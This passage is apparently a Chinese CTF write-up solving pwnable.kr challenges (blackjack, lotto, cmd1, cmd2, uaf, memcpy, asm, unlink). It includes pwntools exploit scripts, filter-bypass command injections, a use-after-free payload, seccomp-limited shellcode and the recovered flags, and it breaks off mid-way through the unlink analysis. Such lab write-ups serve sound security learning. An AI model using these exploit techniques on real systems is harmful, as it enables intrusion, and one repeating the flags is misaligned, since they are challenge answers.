printf("\n The goal of this game is to reach a card value total of 21.\n");
printf("\nIII.");
printf("\n After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
printf("\n %c Staying will keep you safe, hitting will add a card.", spade);
printf("\n Because you are competing against the dealer, you must beat his hand.");
printf("\n BUT BEWARE!.");
printf("\n %c If your total goes over 21, you will LOSE!.", diamond);
printf("\n But the world is not over, because you can always play again.\n");
printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
printf("\n (Y/N)\n ");
scanf("\n%c",&choice1);
while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
{
printf("\n");
printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
scanf("%c",&choice1);
}
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
{
system("cls");
asktitle();
} // End if loop
else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes
{
system("cls");
printf("\n I told you so.\n");
asktitle();
}
return;
} // End function
int clubcard() //Displays Club Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| %d |\n", k);
printf("| %c|\n", club);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| J |\n");
printf("| %c|\n", club);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| A |\n");
printf("| %c|\n", club);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| Q |\n");
printf("| %c|\n", club);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Club Card
printf("-------\n");
printf("|%c |\n", club);
printf("| K |\n");
printf("| %c|\n", club);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
}// End function
int diamondcard() //Displays Diamond Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| %d |\n", k);
printf("| %c|\n", diamond);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| J |\n");
printf("| %c|\n", diamond);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| A |\n");
printf("| %c|\n", diamond);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| Q |\n");
printf("| %c|\n", diamond);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Diamond Card
printf("-------\n");
printf("|%c |\n", diamond);
printf("| K |\n");
printf("| %c|\n", diamond);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
}// End function
int heartcard() //Displays Heart Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| %d |\n", k);
printf("| %c|\n", heart);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| J |\n");
printf("| %c|\n", heart);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| A |\n");
printf("| %c|\n", heart);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| Q |\n");
printf("| %c|\n", heart);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Heart Card
printf("-------\n");
printf("|%c |\n", heart);
printf("| K |\n");
printf("| %c|\n", heart);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
} // End Function
int spadecard() //Displays Spade Card Image
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
k=rand()%13+1;
if(k<=9) //If random number is 9 or less, print card with that number
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| %d |\n", k);
printf("| %c|\n", spade);
printf("-------\n");
}
if(k==10) //If random number is 10, print card with J (Jack) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| J |\n");
printf("| %c|\n", spade);
printf("-------\n");
}
if(k==11) //If random number is 11, print card with A (Ace) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| A |\n");
printf("| %c|\n", spade);
printf("-------\n");
if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
{
k=11;
}
else
{
k=1;
}
}
if(k==12) //If random number is 12, print card with Q (Queen) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| Q |\n");
printf("| %c|\n", spade);
printf("-------\n");
k=10; //Set card value to 10
}
if(k==13) //If random number is 13, print card with K (King) on face
{
//Spade Card
printf("-------\n");
printf("|%c |\n", spade);
printf("| K |\n");
printf("| %c|\n", spade);
printf("-------\n");
k=10; //Set card value to 10
}
return k;
} // End Function
int randcard() //Generates random card
{
srand((unsigned) time(NULL)); //Generates random seed for rand() function
random_card = rand()%4+1;
if(random_card==1)
{
clubcard();
l=k;
}
if(random_card==2)
{
diamondcard();
l=k;
}
if(random_card==3)
{
heartcard();
l=k;
}
if(random_card==4)
{
spadecard();
l=k;
}
return l;
} // End Function
void play() //Plays game
{
int p=0; // holds value of player_total
int i=1; // counter for asking user to hold or stay (aka game turns)
char choice3;
cash = cash;
cash_test();
printf("\nCash: $%d\n",cash); //Prints amount of cash user has
randcard(); //Generates random card
player_total = p + l; //Computes player total
p = player_total;
printf("\nYour Total is %d\n", p); //Prints player total
dealer(); //Computes and prints dealer total
betting(); //Prompts user to enter bet amount
while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
// because there is a chance user can generate twenty-one consecutive 1's
{
if(p==21) //If user total is 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(p>21) //If player total is over 21, loss
{
printf("\nWoah Buddy, You Went WAY over.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(p<=21) //If player total is less than 21, ask to hit or stay
{
printf("\n\nWould You Like to Hit or Stay?");
scanf("%c", &choice3);
while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
{
printf("\n");
printf("Please Enter H to Hit or S to Stay.\n");
scanf("%c",&choice3);
}
if((choice3=='H') || (choice3=='h')) // If Hit, continues
{
randcard();
player_total = p + l;
p = player_total;
printf("\nYour Total is %d\n", p);
dealer();
if(dealer_total==21) //Is dealer total is 21, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(dealer_total>21) //If dealer total is over 21, win
{
printf("\nDealer Has Went Over!. You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
{
printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
stay();
}
}
i++; //While player total and dealer total are less than 21, re-do while loop
} // End While Loop
} // End Function
void dealer() //Function to play for dealer AI
{
int z;
if(dealer_total<17)
{
srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
z=rand()%13+1;
if(z<=10) //If random number generated is 10 or less, keep that value
{
d=z;
}
if(z>11) //If random number generated is more than 11, change value to 10
{
d=10;
}
if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
{
if(dealer_total<=10)
{
d=11;
}
else
{
d=1;
}
}
dealer_total = dealer_total + d;
}
printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total
} // End Function
void stay() //Function for when user selects 'Stay'
{
dealer(); //If stay selected, dealer continues going
if(dealer_total>=17)
{
if(player_total>=dealer_total) //If player's total is more than dealer's total, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(player_total<dealer_total) //If player's total is less than dealer's total, loss
{
printf("\nDealer Has the Better Hand. You Lose.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
if(dealer_total>21) //If dealer's total is more than 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
}
else
{
stay();
}
} // End Function
void cash_test() //Test for if user has cash remaining in purse
{
if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
{
printf("You Are Bankrupt. Game Over");
cash = 500;
askover();
}
} // End Function
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function
void askover() // Function for asking player if they want to play again
{
char choice1;
printf("\nWould You Like To Play Again?");
printf("\nPlease Enter Y for Yes or N for No\n");
scanf("\n%c",&choice1);
while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
{
printf("\n");
printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
scanf("%c",&choice1);
}
if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
{
system("cls");
play();
}
else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
{
fileresults();
printf("\nBYE!!!!\n\n");
system("pause");
exit(0);
}
return;
} // End function
void fileresults() //Prints results into Blackjack.txt file in program directory
{
FILE *fpresults; //File pointer is fpresults
fpresults = fopen(RESULTS, "w"); //Creates file and writes into it
if(fpresults == NULL) // what to do if file missing from directory
{
printf("\nError: File Missing\n");
system("pause");
exit(1);
}
else
{
fprintf(fpresults,"\n\t RESULTS");
fprintf(fpresults,"\n\t---------\n");
fprintf(fpresults,"\nYou Have Won %d Times\n", won);
fprintf(fpresults,"\nYou Have Lost %d Times\n", loss);
fprintf(fpresults,"\nKeep Playing and Set an All-Time Record!");
}
fclose(fpresults);
return;
} // End Function
分析
问题主要出自betting函数
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;
}
else return bet;
} // End Function
- 选择在第二次输入时直接输1000000,无脑赌到赢
- 选择第一次输入-1000000,无脑赌到输
因为最后计算金额时候,不是cash = cash + bet;
就是cash = cash - bet;
分别对应两种利用
解题
YaY_I_AM_A_MILLIONARE_LOL
Cash: $1000500
-------
|H |
| 2 |
| H|
-------
Your Total is 2
The Dealer Has a Total of 10
13. lotto
题目
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
分析
原来这里两层循环来判断提交的值是否都在 lotto 中出现,但是逻辑上是有问题的
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
实际上这段代码是检测提交的值是否在 lotto 中出现,和原来本意有很大的出入,因为我们可以输入 6 同样的值,只要保证这个值在 lotto 里出现即可完成破解
解题
from pwn import *
conn = ssh(host="pwnable.kr", port=2222, user="lotto", password="guest")
p = conn.process(executable="/home/lotto/lotto")
while True:
print(p.recvuntil("Exit"))
p.send("1" + "\n")
print(p.recvuntil("bytes :"))
p.send(chr(1)*6)
print(p.recvuntil("bad luck...", timeout=1))
14. cmd1
题目
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
分析
- strstr:返回字符串str中第一次出现子串substr的地址;如果没有检索到子串,则返回NULL
filter 中过滤了三个字符串flag
、sh
、tmp
但是???还是没明白和 PATH 的关系
解题
通配符直接上,跟题目没太大关系
cmd1@pwnable:~$ /home/cmd1/cmd1 "/bin/cat /home/cmd1/f*"
mommy now I get what PATH environment is for :)
15. cmd2
题目
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
分析
过滤更彻底,想办法绕
解题
cmd2@pwnable:~$ cd /
cmd2@pwnable:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f???'
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f???
FuN_w1th_5h3ll_v4riabl3s_haha
16. uaf
题目
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
分析
终于到 use-after-free 的题了
学习可以看下这个视频:The Heap: How do use-after-free exploits work? - bin 0x16
题目提供了三种操作,分别对用 释放-分配-调用
- 我们先来看下在堆中的结构,首先要确定大小为 24 字节
0x0000000000400efb <+55>: mov edi,0x18
0x0000000000400f00 <+60>: call 0x400d90
在 heap 中我们也能看到分配了长度为0x20的空间,为什么不是0x18呢,是源自 malloc_chunk 时会进行对齐,具体可见这篇文章堆相关数据结构
通过 chunk 复用存入的结构体如下,可以看到数据分别对应
- 8 (vptr)
- 8 (int_age)
- 8 (prt_name)
这里有个奇怪的点,可以看到 ptr_name 均是指向上一个chunk被复用部分中的除 priv_size 和 size 的剩余部分,可能是编译优化导致的?
注意到是先通过 Man 的虚表去调用 introduce 方法
pwndbg> x/4 0x401570
0x401570 : 0x000000000040117a 0x00000000004012d2
0x401580 : 0x0000000000000000 0x00000000004015f0
pwndbg> x 0x40117a
0x40117a : 0x10ec8348e5894855
pwndbg> x 0x4012d2
0x4012d2 : 0x10ec8348e5894855
所以我们只要能覆盖 vptr 使其指向 原地址-8,即0x401570 - 0x8 = 0x00401568,这样经过执行时的+0x8就会调用 give_shell 函数
这里还要注意,free 时先释放的 m 后释放的 w,所以填充时是先填充的 w 后填充 m,所以需要步骤 2 执行两次
另外,由于我们只需要填充 vptr 部分,所需 8 字节是小于释放的 chunk 的,所以会直接填充两次消耗释放的空间即可
解题
uaf@pwnable:~$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > /tmp/uafpass
uaf@pwnable:~$ ./uaf 8 /tmp/uafpass
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
参考:
- https://tzhuobo.gitee.io/2019/11/21/pwnable-kr-uaf/
- http://weaponx.site/2017/02/15/uaf-writeup-pwnable-kr/
17. memcpy
题目
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>
unsigned long long rdtsc(){
asm("rdtsc");
}
char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}
char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}
// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}
int main(void){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");
printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");
printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");
unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t sizes[10];
int i=0;
// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}
sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);
// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}
printf("thanks for helping my experiment!\n");
printf("flag : ----- erased in this source code -----\n");
return 0;
}
分析
把源存储器内容值送入目的寄存器,当有m128时,必须对齐内存16字节,也就是内存地址低4位为0.
movntps m128,XMM
m128 <== XMM 直接把XMM中的值送入m128,不经过cache,必须对齐16字节.
注意到当 input > 64 时,会调用 fast_memcpy 下的 movntps 指令,此时必须保证地址对齐
另外 malloc 通过 edx 值返回地址值
考虑到分配 chunk 时有固定 header,32 位下长度为 0x8 (priv_size + size),所以每次input时,我们通过控制 padding 保证满足下列条件之一:
- (input + padding + len(header)) % 0x10 > 0x8 这种情况会自动对齐至 0x10
- (input + padding + len(header)) % 0x10 = 0x0
推荐:Malloc碎碎念
这里添加一下对齐前后的堆内容的对比图片
解题
from pwn import *
chunk_header = 0x8
r = remote("pwnable.kr", 9022)
for i in range(10):
r.recvuntil("\n")
n = 8 if i == 0 else 2**(i+3) + chunk_header
print("[->] %d" % n)
r.sendline(str(n))
r.recvuntil("experiment!\n")
print(r.readline())
18. asm
题目
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
分析
这道题主要涉及seccomp
seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will terminate the process with SIGKILL or SIGSYS. In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.
通过此特性初始化SCMP_ACT_KILL限制了所有 syscall,后添加规则允许使用的仅为 open read write exit exit_group
我们需要做的便是:
- 打开(open) flag 文件
- 读取(read) flag 文件
- 写(write) 文件内容写到标准输出(stdout)
对入门不会生成 shellcode 的我,pwnlib 提供了 shellcraft,注意发送时需要调用 asm 方法编译汇编码
从上面的资料可知文件句柄是通过 rax 返回的,所以我们直接从 rax 读取文件即可,但实际上linux文件句柄(fd)是从 3 开始增长的,因为我们第一个也只打开一个,所以必定是 3
解题
from pwn import *
context.log_level = 'DEBUG'
context(arch='amd64', os='linux')
r = remote('pwnable.kr', 9026)
sc = shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
# sc += shellcraft.read("rax", "rsp", 100)
sc += shellcraft.read(3, "rsp", 100)
sc += shellcraft.write(1, "rsp", 100)
r.send(asm(sc))
r.recvline()
19. unlink
题目
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
分析
首先先看了 double-free 的利用,即 unlink 的一种利用是通过劫持GOT表实现命令执行,但是题目中 Unlink 后没有跟其他函数的,所以无法利用
那么能否直接操控 main 返回地址来实现跳转到 shellcode 执行呢?看下 main 最后的汇编是怎么写的
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
翻译过来
mov ecx,[ebp-0x4]
mov esp,ebp
pop ebp
lea esp,[ecx-0x4]
ret
此时栈内分布
我们无法直接控制 eip,那么能否通过控制 ebp -> ecx -> esp -> eip 实现呢
我们首先关注到 unlink
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
如下:
BK = *(P + 4)
FD = *(P)
FD -> bk = BK -> *(*(P)+4) = *(P + 4)
BK -> fd = FD -> *(*(P+4)) = *(P)
更直白的说
*(*(P->fd) + 4) = *(P->bk) 将 fd 的值 +4 作为地址,其值为 bk 的值
*(*(P->bk)) = *(P->fd) 将 bk 的值作为地址,其值为 fd 的值
即我们通过控制 fd bk 可以获取到两次写内存的机会
- 利用 BK -> fd = FD,bk 控制地址,fd 控制值
- 利用 FD -> bk = BK,fd 控制地址,bk 控制值
其次把已知条件列出来
- eip = [esp]
- esp = ecx - 0x4
- ecx = [ebp - 0x4]
再根据栈中内容,可得
- stack_A + 0x10 = ebp - 0x4
由于我们可以通过 A->buf 进行 overflow,假设我们将func_shell放在buf前4个字节,同时我们把buf地址标记为 shellcode,那么就有
- [heap_A + 0x8] = [shellcode] = func_shell = eip
- shellcode = esp = ecx - 0x4 => heap_A + 0x8 = ecx - 0x4
我们的目标是通过控制 fd bk 进而控制栈内存储的 ecx,进而控制 esp eip,我们先选取bk 地址 fd 值
的利用方式即BK->fd=FD
,有
- [bk] = &ecx
- [fd] = ecx
结合上面的条件,推得
- [bk] = ebp - 0x4 = stack_A + 0x10
- [fd] = heap_A + 0xc
以此设置布局如下:
0 4 8
+-----------------+-----------------+ heapA
| fd | bk |
+-----------------+-----------------+ A -> buf
| *func_shell | ~padding~ |
+-----------------+-----------------+ heapB-header
| ~padding~ |
+-----------------+-----------------+ heapB
| heap_A + 0xc | stack_A + 0x10 |
+-----------------+-----------------+
假如我们选择fd 地址 bk 值
的方式FD->bk=BK
,有
